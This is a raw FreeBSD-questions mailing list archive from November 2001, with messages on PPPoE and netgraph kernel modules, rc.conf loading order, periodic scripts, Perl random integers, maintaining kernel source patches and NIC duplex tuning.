<20011123011341.NDSE10804.tomts19-srv.bellnexxia.net@prayforwind.com> for ; Thu, 22 Nov 2001 20:13:41 -0500 Received: (from gtabug@localhost) by prayforwind.com (8.11.6/8.11.6) id fAN1NJf01121 for freebsd-questions@freebsd.org; Thu, 22 Nov 2001 20:23:19 -0500 (EST) (envelope-from gtabug) Date: Thu, 22 Nov 2001 20:23:17 -0500 From: Steve Brown To: freebsd-questions@freebsd.org Subject: Re: high speed internet connection and lesstif question Message-ID: <20011122202317.A1106@prayforwind.com> References: <000d01c17381$94666b00$7301a8c0@eagle.ca> <000c01c17393$fd7255c0$660f129f@bro5637> <3.0.5.32.20011122151000.010034b0@mail.sage-american.com> <006f01c1739e$2e2b6f30$1200a8c0@gsicomp.on.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <006f01c1739e$2e2b6f30$1200a8c0@gsicomp.on.ca>; from matt@gsicomp.on.ca on Thu, Nov 22, 2001 at 04:39:34PM -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Anybody seen this work on GENERIC first hand? If so, it should be possible to connect to 'net PPPoE at install time. I tried before, but I had to 1'st ftp base system + source over dialup using 4.4-RELEASE I'll try it in fact... Steve On Thu, Nov 22, 2001 at 04:39:34PM -0500, Matthew Emmerton wrote: > There is a long and convoluted explanation for that. I may be a bit off, > but Brian Somers cleared me up on a lot of things wrt this earlier on this > week, so here's everything in one place for the benefit of the archives. > > In the beginning, you had to have 'options NETGRAPH' in the kernel to use > any of the netgraph widgets, and widgets could be dynamically loaded when > you needed them. (So, for PPPoE, it would dyanmically load the pppoe, > socket and ether widgets, with the base netgraph module being part of the > kernel.) This worked just fine in 3.4-RELEASE, but broke in 4.0-RELEASE > (and remains so.) > > The handbook was then updated to say that you needed to have all four > netgraph options compiled into your kernel. This would ensure that it would > never have to dynamically load modules and bail out. > > Somewhere after 4.0-REL (between 4.2-REL and 4.3-REL?), the FreeBSD gods > made some changes so 'options NETGRAPH' *wasn't* required in your kernel > anymore - it too could be loaded dynamically. So if you didn't have > anything in your kernel and wanted to use PPPoE, the 'ppp' program would > dynamically load the required modules and all would be well. > > In summary, to use PPPoE now, you don't need to modify your kernel -- > everything will be loaded on the fly. However, if you want to have the > support statically-linked in your kernel, be sure to add all 4 required > components for PPPoE, otherwise you'll have problems. > > -- > Matt Emmerton > > > > > Really? This is still goofy? I re-read over the PPPoE section in the > > handbook and was happy to see you could just run with it without > compiling. > > I wonder why the handbook would suggest recompiling the kernel with the > four > > options is not required when you say it is? Odd. > > > > > > Ver 4.4 (and I believe 4.3) will indeed take care of the NETGRAPH stuff, > > but has to load it on the fly if not compiled into the kernel.... prior ro > > 4.3, I believe it HAS to be compiled. > > > > At 03:39 PM 11.22.2001 -0500, ScaryG wrote: > > >> I believe your [Fuji Zhang's] best bet is to forget the USB, > > >> part with you're $25 -> $30 (CDN) and pick up an > > >> ethernet card. Make sure it's on this list: > > >> > > >> > ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/4.4-RELEASE/HARDWARE.TXT > > > > > > Couldn't agree more! > > > > > >> A few good reasons to stick with Ethernet: > > >> > > >> - It will also work with a cable modem if you decide to try Rogers/Shaw > > >> - or any other ISP's DSL package > > >> - If you decide to share the connection with more than 1 computer via > BB > > >> router (Link-Sys, SMC Barricade, etc) you'll already be prepared. These > > >> goodies cost under $140 CDN and you get the benefit of an IP firewall > as > > >> well. > > > > > > More good info. I often wondered if I should have just broke down and > > >bought a Netgear RT314 and saved me some grief configuring my FreeBSD box > > >but hey, I had all the stuff here and it didn't cost me anything but > time. I > > >have two NICS in my box in which the second feeds a hub and my other > > >machines. > > > > > > But for those not willing to goof around with NAT and IPFW in addition > to > > >trying PPPoE the Internet Gateway gadgets are a nice idea. > > > > > >> ScaryG has it right about the ppp.conf and kernel config. I -did- have > to > > >> re-compile my 4.4 kernel to get it to work, the handbook does appear to > be > > >> wrong on this. > > > > > > Really? This is still goofy? I re-read over the PPPoE section in the > > >handbook and was happy to see you could just run with it without > compiling. > > >I wonder why the handbook would suggest recompiling the kernel with the > four > > >options is not required when you say it is? Odd. > > > > > > Oh well, rock on with your bad self. > > > > > >-- > > >I can please only one person per day. Today is not your day. > > >Tomorrow isn't looking good either. > > > > > > > > > > > > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org > > >with "unsubscribe freebsd-questions" in the body of the message > > > > > > > > > > Best regards, > > Jack L. Stone, > > Server Admin > > > > Sage-American > > http://www.sage-american.com > > jacks@sage-american.com > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-questions" in the body of the message > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 17:23:59 2001 Delivered-To: freebsd-questions@freebsd.org Received: from molly.intercom.net (molly.intercom.net [216.240.106.84]) by hub.freebsd.org (Postfix) with ESMTP id 6B1AF37B416 for ; Thu, 22 Nov 2001 17:23:55 -0800 (PST) Received: from cross (dpcbw105222.direcpc.com [65.88.105.222]) by molly.intercom.net (8.12.1/8.12.1) with SMTP id fAN1OVm4009752; Thu, 22 Nov 2001 20:24:33 -0500 (EST) Message-ID: <001901c173bd$59426060$0273150a@woodstock.lanalyse.com> From: "Ron Hensley" To: "Andrew Reid" , "Erich Voigt" Cc: References: <20011123103413.A533@aviion.alfred.cx> Subject: Re: Website Remote Access? Date: Thu, 22 Nov 2001 20:22:31 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 www.tracert.com has a "Speed Meter" to measure WWW Site performance from the outside looking in, as well as traceroutes and pings back towards you and even BGP Lookups if you advertise BGP Routes and want to see them from an outside routers perspective. - ----- Original Message ----- From: "Andrew Reid" To: "Erich Voigt" Cc: Sent: Thursday, November 22, 2001 7:04 PM Subject: Re: Website Remote Access? > On Thu, Nov 22, 2001 at 01:48:29PM +0200, Erich Voigt wrote: > > > Is there not (a) system(s) out there that I can access and then from there > > see what my local websites are performing like???? Something like > > traceroute.org but for html ??? > > What do you mean? Do you want to find out the load that your server(s) > are under? Perhaps you'd like to know how many pages / hour your > machines are serving up. > > I can't really give an answer as the question is so ambiguous. Please > clarify the question and we'll try and come up with an answer. > > - andrew > > -- > Andrew J. Reid "Catapultam habeo. Nisi pecuniam omnem > andrew.reid@plug.cx mihi dabis, ad caput tuum saxum immane > +61 401 946 813 mittam" > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBO/2k1lFb04N5DzUjEQImiwCg/b6u1UGeMYMCyGoBTmn4gNH84msAoNOd SgnG9b17qMlPRCrkKNBulLxx =u7ln -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 17:25:33 2001 Delivered-To: freebsd-questions@freebsd.org Received: from marbles.lost.net.au (marbles.lost.net.au [203.56.209.5]) by hub.freebsd.org (Postfix) with ESMTP id EC01D37B416 for ; Thu, 22 Nov 2001 17:25:28 -0800 (PST) Received: from localhost (tim@localhost) by marbles.lost.net.au (8.11.6/8.11.3) with ESMTP id fAN1OgE30723; Fri, 23 Nov 2001 11:54:44 +1030 (CST) (envelope-from tim@lost.net.au) Date: Fri, 23 Nov 2001 11:54:42 +1030 (CST) From: tim Cc: Scott Gerhardt , FreeBSD Subject: Re: Periodic Daily In-Reply-To: <20011122080418.C576@localhost> Message-ID: <20011123115132.T30600-100000@marbles.lost.net.au> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 21-11-2001 18:48 (-0600), Scott Gerhardt wrote: > I would like to add some scripts to periodic daily, weekly etc. > What do the prefix numbers mean (i.e. 100 in 100.clean-disks)? > Do the numbers represent time, preferance etc.? > > Thanks If you are adding your own periodic scripts, consider adding them to /usr/local/etc/periodic/daily (or weekly or monthly). This is helpful to distinguish them from the installed system scripts. If you do that, you will need to create the directories first ! -- tim@lost.net.au To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 17:58:23 2001 Delivered-To: freebsd-questions@freebsd.org Received: from pr0n.kutulu.org (pr0n.kutulu.org [151.196.107.157]) by hub.freebsd.org (Postfix) with ESMTP id CB5BF37B416 for ; Thu, 22 Nov 2001 17:58:15 -0800 (PST) Received: from cc191573g (kutulu@cc191573-g.longhill1.md.home.com [24.37.104.136]) by pr0n.kutulu.org (8.11.6/8.11.6) with SMTP id fAN1w7U57588; Thu, 22 Nov 2001 20:58:07 -0500 (EST) (envelope-from kutulu@kutulu.org) Message-ID: <05c001c173c1$726c5830$88682518@longhill1.md.home.com> From: "Kutulu" To: "Ron Hensley" , "free bsd" References: <016c01c17395$bb6b0940$a50410ac@olmct.net> <025f01c17398$ca2721f0$090ea8c0@vhds001> <002d01c1739c$be293ab0$0273150a@woodstock.lanalyse.com> <055301c173a5$39e7dfa0$88682518@longhill1.md.home.com> <001601c173a8$c3b985a0$0273150a@woodstock.lanalyse.com> Subject: Re: Problems with Bind. Date: Thu, 22 Nov 2001 20:51:58 -0500 MIME-Version: 1.0 Content-Type: multipart/signed; boundary="----=_NextPart_000_05BC_01C17397.86D904F0"; micalg=SHA1; protocol="application/x-pkcs7-signature" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_05BC_01C17397.86D904F0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit From: "Ron Hensley" To: "Kutulu" ; "free bsd" Sent: Thursday, November 22, 2001 5:55 PM Subject: Re: Problems with Bind. > Then why in /etc/rc does it say this? > (Appears to me if /etc/defaults/rc.conf exists, which it does, then it is > parsed to find the value > of the variables used in the /etc/rc.* files, and the /etc/rc.conf is never > looked at. > > # If there is a global system configuration file, suck it in. > # > if [ -r /etc/defaults/rc.conf ]; then > . /etc/defaults/rc.conf > source_rc_confs > elif [ -r /etc/rc.conf ]; then > . /etc/rc.conf > fi The key here is source_rc_confs, which is set up by /etc/defaults/rc.conf to source /etc/rc.conf and /etc/rc.conf.local. The way the rc system is supposed to work, /etc/defaults/rc.conf contains only *system default* values. All of those are loaded first. Then you set only those values that need to be overridden in the rc.conf and rc.conf.local files. The benefits of this are many, but two of the biggest are that you will not lose your customizations if an upgrade changes the defaults file, and you can share the defaults files across multiple systems but maintain local customizations. And, if you look in /etc/defaults/rc.conf, it tells you this itself: # This is rc.conf - a file full of useful variables that you can set # to change the default startup behavior of your system. You should # not edit this file! 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Thu, 22 Nov 2001 17:58:59 -0800 (PST) Received: from xena.gsicomp.on.ca ([199.243.149.34]) by tomts6-srv.bellnexxia.net (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP id <20011123014356.XXQ9997.tomts6-srv.bellnexxia.net@xena.gsicomp.on.ca>; Thu, 22 Nov 2001 20:43:56 -0500 Received: from hermes (memmerto@hermes.gsicomp.on.ca [192.168.0.18]) by xena.gsicomp.on.ca (8.11.1/8.11.1) with SMTP id fAN1ZgW41636; Thu, 22 Nov 2001 20:35:43 -0500 (EST) (envelope-from matt@gsicomp.on.ca) Message-ID: <00c301c173c0$4fbcc190$1200a8c0@gsicomp.on.ca> From: "Matthew Emmerton" To: "Steve Brown" , References: <000d01c17381$94666b00$7301a8c0@eagle.ca> <000c01c17393$fd7255c0$660f129f@bro5637> <3.0.5.32.20011122151000.010034b0@mail.sage-american.com> <006f01c1739e$2e2b6f30$1200a8c0@gsicomp.on.ca> <20011122202317.A1106@prayforwind.com> Subject: Re: high speed internet connection and lesstif question Date: Thu, 22 Nov 2001 20:43:53 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Connecting to the 'net via PPPoE isn't possible at install time, for two reasons: 1) the kernel that ships on the install disks doesn't have any of the netgraph widgets 2) the userland that ships on the install disks doesn't have ppp, nor the facility to craft up a valid ppp.conf. As you correctly point out, you'll need to install the 'bin' distribution (for ppp) plus the kernel source ('ssys') distribution (for kernel modules) before you'll be able to use PPPoE. -- Matt > Anybody seen this work on GENERIC first hand? If so, it should be > possible to connect to 'net PPPoE at install time. I tried before, > but I had to 1'st ftp base system + source over dialup using > 4.4-RELEASE > > I'll try it in fact... > Steve > > On Thu, Nov 22, 2001 at 04:39:34PM -0500, Matthew Emmerton wrote: > > There is a long and convoluted explanation for that. I may be a bit off, > > but Brian Somers cleared me up on a lot of things wrt this earlier on this > > week, so here's everything in one place for the benefit of the archives. > > > > In the beginning, you had to have 'options NETGRAPH' in the kernel to use > > any of the netgraph widgets, and widgets could be dynamically loaded when > > you needed them. (So, for PPPoE, it would dyanmically load the pppoe, > > socket and ether widgets, with the base netgraph module being part of the > > kernel.) This worked just fine in 3.4-RELEASE, but broke in 4.0-RELEASE > > (and remains so.) > > > > The handbook was then updated to say that you needed to have all four > > netgraph options compiled into your kernel. This would ensure that it would > > never have to dynamically load modules and bail out. > > > > Somewhere after 4.0-REL (between 4.2-REL and 4.3-REL?), the FreeBSD gods > > made some changes so 'options NETGRAPH' *wasn't* required in your kernel > > anymore - it too could be loaded dynamically. So if you didn't have > > anything in your kernel and wanted to use PPPoE, the 'ppp' program would > > dynamically load the required modules and all would be well. > > > > In summary, to use PPPoE now, you don't need to modify your kernel -- > > everything will be loaded on the fly. However, if you want to have the > > support statically-linked in your kernel, be sure to add all 4 required > > components for PPPoE, otherwise you'll have problems. > > > > -- > > Matt Emmerton To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 18:59:23 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 329D337B405 for ; Thu, 22 Nov 2001 18:59:17 -0800 (PST) Received: (qmail 16714 invoked by uid 100); 23 Nov 2001 02:59:11 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15357.47999.183897.51637@guru.mired.org> Date: Thu, 22 Nov 2001 20:59:11 -0600 To: Dominic Marks Cc: questions@freebsd.org Subject: Re: A (IMHO) Question Asking Good Guide In-Reply-To: <24383727@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Dominic Marks types: > On Wednesday 21 November 2001 6:25 pm, Drew Tomlinson wrote: > > The preface in the PDF FAQ at > > http://www.smoothwall.org/download/pdf/docs/0.9.9/doc.faq.pdf seems > > to be a good guide on how to ask questions in forums such as this > > one. It might be a place to direct those that don't seem to have a > > clue as to how support groups such as this one work. > > ESR has a good guide as well, somewhere on his home page > (http://www.tuxedo.org/~esr/). The preface to the document is ESR's guide. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 19: 6:36 2001 Delivered-To: freebsd-questions@freebsd.org Received: from gaia.host4u.net (gaia.host4u.net [209.150.128.48]) by hub.freebsd.org (Postfix) with ESMTP id 5FBA937B405 for ; Thu, 22 Nov 2001 19:06:34 -0800 (PST) Received: from andre ([216.71.43.117]) by gaia.host4u.net (8.8.5/8.8.5) with SMTP id VAA00731; Thu, 22 Nov 2001 21:04:23 -0600 Message-ID: <034601c173cb$8edfee00$a50410ac@olmct.net> Reply-To: "Andre` Niel Cameron" From: "Andre` Niel Cameron" To: "free bsd" , Cc: Subject: Quick question Date: Thu, 22 Nov 2001 22:04:24 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2462.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2462.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, Anyone know how to get a whole random number in perl? rand(18) always gives decimals I need just like 12 or 7 anyone know? Regards, Andre` C. Technical Support Ô¿Ô¬ ---------------------------------------------------------------------------- - Visit our support manual at http://supportmanual.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 19:13:38 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 7C6DA37B416 for ; Thu, 22 Nov 2001 19:13:35 -0800 (PST) Received: (qmail 16892 invoked by uid 100); 23 Nov 2001 03:13:34 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15357.48862.346804.376578@guru.mired.org> Date: Thu, 22 Nov 2001 21:13:34 -0600 To: "Erich Voigt" Cc: questions@freebsd.org Subject: Re: Website Remote Access? In-Reply-To: <58402731@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Erich Voigt types: > I continiously have a need to remotely access systems we host to check > perforamnce issues. > > I do have a dial-in account to an ISP where I can then access our sites > BUT.. > > Is there not (a) system(s) out there that I can access and then from there > see what my local websites are performing like???? Something like > traceroute.org but for html ??? You might start at . That service proper is dead, but the page lists others running the software that it ran, as well as those offering similar services. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 19:15:10 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mta03.mail.mel.aone.net.au (mta03.mail.au.uu.net [203.2.192.83]) by hub.freebsd.org (Postfix) with ESMTP id 6AE5F37B405 for ; Thu, 22 Nov 2001 19:15:04 -0800 (PST) Received: from ausyddtp0050.ozemail.com.au ([203.166.66.104]) by mta03.mail.mel.aone.net.au with ESMTP id <20011123031502.ELBY1671.mta03.mail.mel.aone.net.au@ausyddtp0050.ozemail.com.au>; Fri, 23 Nov 2001 14:15:02 +1100 Message-Id: <5.1.0.14.2.20011123140504.01c4ad60@pop.ozemail.com.au> X-Sender: rbyrnes@pop.ozemail.com.au X-Mailer: I wish it was Linux Date: Fri, 23 Nov 2001 14:06:14 +1100 To: "Kathy Quinlan" From: Rob B Subject: Re: Servers on bigpond adsl Cc: In-Reply-To: <025501c1736e$82705040$fe00a8c0@wskatinka> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG At 02:58 23/11/2001, Kathy Quinlan sent this up the stick: >Hi all, > >I am looking at running a test server on my home ADSL link through Telstra >Bigpond. I believe they use a port scanner to detect and kick us if we do it >?/ > >I am wondering if anyone has any ideas to over come it ?? I am only using it >to test some websites and get feedback from people before dropping the >webserver off to the local Primary School (is easier to make changes and >work on it local rather than through their 56K modem) in both locations they >are only handling redirections from a main server/ firewall machine, so no >worries about swapping from PPPoE back to PPP No, they aren't portscanning at this time, although they probably could. Optus (cable) do portscan, however. Cheers, Rob -- Yesterday I was a dog. Today I'm a dog. Tomorrow I'll probably still be a dog. Sigh! There's so little hope for advancement. [15200.8 km (8207.8 mi), 262.8 deg](Apparent) Rennerian This is random quote 1157 of a collection of 1192 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 19:19: 6 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id D58D137B405 for ; Thu, 22 Nov 2001 19:19:02 -0800 (PST) Received: (qmail 16963 invoked by uid 100); 23 Nov 2001 03:19:01 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15357.49189.674941.587953@guru.mired.org> Date: Thu, 22 Nov 2001 21:19:01 -0600 To: "Anthony Atkielski" Cc: questions@freebsd.org Subject: Re: Changing source code and rebuilding kernel -- how do I maintain my changes? In-Reply-To: <70360612@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Anthony Atkielski types: > In order to remove a diagnostic message, I need to change one line of if_xlreg.h > in the source code. What is the proper procedure for changing the file and > maintaining the change should the source code be updated? For the moment, I > just copied the original source to if_xlreg.h.old in the same directory, then > made my change, with a comment that I can grep if I need to find it in future. > Is this a good way to do it? What happens when I refresh all the source with > more recent versions? Erik provided the conventional way to do things. Another is to keep create a patch file like so: diff -u if_xlreg.h.old if_xlreg.h > ~/if_xlreg.patch Then apply the patch after you cvsup: patch < ~/if_xlreg.patch This will move if_xlreg.h to if_xlreg.h.orig, and you should then recreate the patch file, as allow changes to accumulate can cause the patch to fail. Assuming the diagnostic is wrong for your hardware, you might consider PR'ing a patch that checks the hardware type and only issues the diagnostic if it's correct. If the diagnostic is correct, you might consider fixing the problem. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 19:20:39 2001 Delivered-To: freebsd-questions@freebsd.org Received: from ralf.artlogix.com (sense-mcglk-240.oz.net [216.39.168.240]) by hub.freebsd.org (Postfix) with ESMTP id 48A4C37B431 for ; Thu, 22 Nov 2001 19:20:33 -0800 (PST) Received: by ralf.artlogix.com (Postfix, from userid 1000) id AC4611B9C59; Thu, 22 Nov 2001 19:20:32 -0800 (PST) To: freebsd-questions@freebsd.org Subject: Re: Quick question References: <034601c173cb$8edfee00$a50410ac@olmct.net> From: Ken McGlothlen Date: 22 Nov 2001 19:20:32 -0800 In-Reply-To: <034601c173cb$8edfee00$a50410ac@olmct.net> Message-ID: <87pu6a2mwv.fsf@ralf.artlogix.com> Lines: 15 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.1 (Cuyahoga Valley) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "Andre` Niel Cameron" writes: | Anyone know how to get a whole random number in perl? | | rand(18) always gives decimals I need just like 12 or 7 anyone know? Traditionally, most rand()-style functions return a decimal of 0<=x<1. Perl gives you a bit better, giving you a rand(n) function which will return 0<=x; Thu, 22 Nov 2001 19:22:19 -0800 (PST) Received: from chimp.simianscience.com (cage.simianscience.com [64.7.134.1]) by smtp1.sentex.ca (8.11.6/8.11.6) with SMTP id fAN3MFR73957; Thu, 22 Nov 2001 22:22:16 -0500 (EST) (envelope-from mike@sentex.net) From: Mike Tancsa To: francisv@dagupan.com Cc: questions@freebsd.org Subject: Re: Maximizing throughput Date: Thu, 22 Nov 2001 22:22:15 -0500 Message-ID: <62grvtcailkorp4l9lth7vrggcjq7ta17s@4ax.com> References: In-Reply-To: X-Mailer: Forte Agent 1.8/32.548 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, 22 Nov 2001 09:02:13 +0000 (UTC), in = sentex.lists.freebsd.questions you wrote: >Hi, > >I have an Intel Pro 100/S NIC on FreeBSD 4.4-STABLE -- transferring huge >(~650MB) files to another computer is only around 1.78Mbps. The machines= are >connected via a Cisco 3500XL switch at full-duplex, 100Mbps. Is there = any >other way to increase the throughput or is this the actual bandwidth = limit? Are you sure you have the ports and the NICs all in full duplex ? Try setting the switch *manually* to 100baseTX full duplex (ie speed 100 duplex full on the relavant switch ports. Then on the FreeBSD boxes ifconfig fxp0 media 100baseTX mediaopt full-duplex on both machines, and run your tests again. ---Mike Mike Tancsa (mdtancsa@sentex.net) =09 Sentex Communications Corp, =09 Waterloo, Ontario, Canada "Given enough time, 100 monkeys on 100 routers=20 could setup a national IP network." (KDW2) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 19:24:18 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id B48CE37B416 for ; Thu, 22 Nov 2001 19:24:13 -0800 (PST) Received: (qmail 17139 invoked by uid 100); 23 Nov 2001 03:24:06 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15357.49494.507583.996052@guru.mired.org> Date: Thu, 22 Nov 2001 21:24:06 -0600 To: Kris Kennaway , Dmitry Mottl Cc: questions@freebsd.org Subject: Re: dynamic loaders In-Reply-To: <24792934@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Kris Kennaway types: > > Why compat20,compat21,compat22 of FreeBSD distributive > > have their own /usr/libexec/ld.so? > Because they presumably were different, and you need them to run > binaries built on those version. To be a bit more explicit, the version numbering scheme changed between FreeBSD 2 and FreeBSD 3. In version two, FreeBSD 2.x.y was a release, like FreeBSD 3.x and FreeBSD 4.x. I don't know if there were ever point releases like 3.5.1 for 2.x.y, but they would have been 2.x.y.z. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 19:26:40 2001 Delivered-To: freebsd-questions@freebsd.org Received: from topaz.mdcc.cx (topaz.mdcc.cx [212.204.230.141]) by 